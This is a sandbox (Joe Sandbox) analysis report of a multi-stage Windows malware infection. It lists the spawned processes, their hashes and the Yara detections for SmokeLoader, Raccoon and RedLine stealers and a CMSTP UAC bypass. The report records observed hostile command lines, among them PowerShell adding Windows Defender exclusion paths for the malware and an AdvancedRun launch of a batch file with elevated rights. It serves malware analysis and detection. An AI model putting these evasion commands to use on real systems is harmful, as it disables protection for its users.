Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\37D8.exe

Imagebase: 0xff0000

File size: 512512 bytes

MD5 hash: F57B28AEC65D4691202B9524F84CC54A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: esdfufc PID: 6124 Parent PID: 5704Analysis Process: esdfufc PID: 6124 Parent PID: 5704

General

Analysis Process: 8908.exe PID: 2940 Parent PID: 2288Analysis Process: 8908.exe PID: 2940 Parent PID: 2288

General

Analysis Process: 37D8.exe PID: 6468 Parent PID: 3440Analysis Process: 37D8.exe PID: 6468 Parent PID: 3440

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Yara matches: Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass 
using CMSTP, Source: 
00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious 
executable with reference to a Discord attachment (often used for malware hosting on a 
legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\37D8.exe, Author: Florian 
Roth

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 39%, ReversingLabs

Reputation: low

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 17:55:21

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\3FD8.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\3FD8.exe

Imagebase: 0x2f0000

File size: 22528 bytes

MD5 hash: 787AF677D0C317E8062B9705CB64F951

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious 
executable with reference to a Discord attachment (often used for malware hosting on a 
legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\3FD8.exe, Author: Florian 
Roth

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 22%, ReversingLabs

Reputation: moderate

Show Windows behavior

Show Windows behavior

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: 3FD8.exe PID: 5400 Parent PID: 3440Analysis Process: 3FD8.exe PID: 5400 Parent PID: 3440

General

File CreatedFile Created

File ReadFile Read

Analysis Process: 4EDC.exe PID: 5004 Parent PID: 3440Analysis Process: 4EDC.exe PID: 5004 Parent PID: 3440
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File ActivitiesFile Activities

Start time: 17:55:26

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\4EDC.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\4EDC.exe

Imagebase: 0x400000

File size: 212992 bytes

MD5 hash: 73252ACB344040DDC5D9CE78A5D3A4C2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000016.00000002.530637179.0000000004B61000.00000004.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000016.00000002.529516403.0000000003090000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000016.00000003.511213614.0000000003090000.00000004.00000001.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 80%, ReversingLabs

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 17:55:30

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\60DF.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\60DF.exe

Imagebase: 0x440000

File size: 161280 bytes

MD5 hash: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious 
executable with reference to a Discord attachment (often used for malware hosting on a 
legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\60DF.exe, Author: Florian 
Roth

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 43%, ReversingLabs

Reputation: moderate

Show Windows behavior

General

File CreatedFile Created

File WrittenFile Written

Analysis Process: 60DF.exe PID: 1768 Parent PID: 3440Analysis Process: 60DF.exe PID: 1768 Parent PID: 3440

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read
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Registry ActivitiesRegistry Activities Show Windows behavior

Start time: 17:55:32

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-
f43f2eeceac1\AdvancedRun.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedR
un.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f
43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' 
/RunAs 8 /Run

Imagebase: 0x400000

File size: 91000 bytes

MD5 hash: 17FC12902F4769AF3A9271EB4E2DACCE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 17:55:35

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\6E1E.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\6E1E.exe

Imagebase: 0x400000

File size: 347136 bytes

MD5 hash: 31BE6099D31BDBF1ED339EFFDC1C7064

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
0000001B.00000002.558722900.00000000048B0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
0000001B.00000002.559098642.00000000049E1000.00000004.00020000.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 100%, Joe Sandbox ML

Reputation: low

Start time: 17:55:36

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-
f43f2eeceac1\AdvancedRun.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedR
un.exe' /SpecialRun 4101d8 5988

Imagebase: 0x400000

Key Value CreatedKey Value Created

Analysis Process: AdvancedRun.exe PID: 5988 Parent PID: 6468Analysis Process: AdvancedRun.exe PID: 5988 Parent PID: 6468

General

Analysis Process: 6E1E.exe PID: 6128 Parent PID: 3440Analysis Process: 6E1E.exe PID: 6128 Parent PID: 3440

General

Analysis Process: AdvancedRun.exe PID: 1916 Parent PID: 5988Analysis Process: AdvancedRun.exe PID: 1916 Parent PID: 5988

General
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File size: 91000 bytes

MD5 hash: 17FC12902F4769AF3A9271EB4E2DACCE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 17:55:40

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\E4D7.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\E4D7.exe

Imagebase: 0x400000

File size: 602624 bytes

MD5 hash: BB71D72E7391E33F98C1291C0F499BA6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 
0000001D.00000002.649599129.0000000000400000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 
0000001D.00000003.553896826.00000000048E0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
0000001D.00000003.600140112.0000000002D7E000.00000004.00000001.sdmp, 
Author: Joe Security

Reputation: low

Start time: 17:55:44

Start date: 29/10/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force

Imagebase: 0xd30000

File size: 430592 bytes

MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

Start time: 17:55:46

Start date: 29/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Analysis Process: E4D7.exe PID: 6552 Parent PID: 3440Analysis Process: E4D7.exe PID: 6552 Parent PID: 3440

General

Analysis Process: powershell.exe PID: 5392 Parent PID: 6468Analysis Process: powershell.exe PID: 5392 Parent PID: 6468

General

Analysis Process: conhost.exe PID: 6248 Parent PID: 5392Analysis Process: conhost.exe PID: 6248 Parent PID: 5392

General
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Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 17:55:52

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-
f2e36131ecec\AdvancedRun.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedR
un.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f
2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' 
/RunAs 8 /Run

Imagebase: 0x400000

File size: 91000 bytes

MD5 hash: 17FC12902F4769AF3A9271EB4E2DACCE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 3%, Metadefender, Browse
Detection: 0%, ReversingLabs

Start time: 17:55:55

Start date: 29/10/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe

Wow64 process (32bit):

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe

Imagebase:

File size: 71776 bytes

MD5 hash: CCDF8F3B189FFB839B390F695FAE2A6D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000022.00000000.568099425.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000022.00000000.568948579.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000022.00000000.566418529.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000022.00000002.638081498.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security

Analysis Process: AdvancedRun.exe PID: 780 Parent PID: 1768Analysis Process: AdvancedRun.exe PID: 780 Parent PID: 1768

General

Analysis Process: DataSvcUtil.exe PID: 6420 Parent PID: 6468Analysis Process: DataSvcUtil.exe PID: 6420 Parent PID: 6468

General

Analysis Process: AdvancedRun.exe PID: 5192 Parent PID: 780Analysis Process: AdvancedRun.exe PID: 5192 Parent PID: 780

General
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Start time: 17:55:56

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-
f2e36131ecec\AdvancedRun.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedR
un.exe' /SpecialRun 4101d8 780

Imagebase: 0x400000

File size: 91000 bytes

MD5 hash: 17FC12902F4769AF3A9271EB4E2DACCE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 17:56:04

Start date: 29/10/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\AppData\Local\Temp\60DF.exe' -Force

Imagebase: 0xd30000

File size: 430592 bytes

MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Start time: 17:56:04

Start date: 29/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 17:56:07

Start date: 29/10/2021

Path: C:\Users\user\AppData\Roaming\csdfufc

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\csdfufc

Imagebase: 0x400000

File size: 212992 bytes

MD5 hash: 73252ACB344040DDC5D9CE78A5D3A4C2

Analysis Process: powershell.exe PID: 4836 Parent PID: 1768Analysis Process: powershell.exe PID: 4836 Parent PID: 1768

General

Analysis Process: conhost.exe PID: 5032 Parent PID: 4836Analysis Process: conhost.exe PID: 5032 Parent PID: 4836

General

Analysis Process: csdfufc PID: 5092 Parent PID: 936Analysis Process: csdfufc PID: 5092 Parent PID: 936

General
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Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 17:56:08

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\B74C.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\B74C.exe

Imagebase: 0x400000

File size: 877568 bytes

MD5 hash: 3362B53647F312CD069D71E3662A9155

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 17:56:11

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\C651.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\C651.exe

Imagebase: 0x400000

File size: 278528 bytes

MD5 hash: FA00DF47BCC5F9AD16ED71856FB6F4D6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 17:56:13

Start date: 29/10/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe

Wow64 process (32bit):

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe

Imagebase:

File size: 136296 bytes

MD5 hash: 7EC8B56348F9298BCCA7A745C7F70E2C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000002A.00000002.634272090.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security

Analysis Process: B74C.exe PID: 4976 Parent PID: 3440Analysis Process: B74C.exe PID: 4976 Parent PID: 3440

General

Analysis Process: C651.exe PID: 3316 Parent PID: 3440Analysis Process: C651.exe PID: 3316 Parent PID: 3440

General

Analysis Process: SMSvcHost.exe PID: 5468 Parent PID: 6468Analysis Process: SMSvcHost.exe PID: 5468 Parent PID: 6468

General

Analysis Process: D083.exe PID: 5524 Parent PID: 3440Analysis Process: D083.exe PID: 5524 Parent PID: 3440
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Joe Sandbox Cloud Basic 34.0.0 Boulder Opal

Disassembly

Code Analysis

Copyright Joe Security LLC

Start time: 17:56:14

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\D083.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\D083.exe

Imagebase: 0x720000

File size: 27576 bytes

MD5 hash: FA6D8115D2266A121FE7C1552C0DDDFD

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

General
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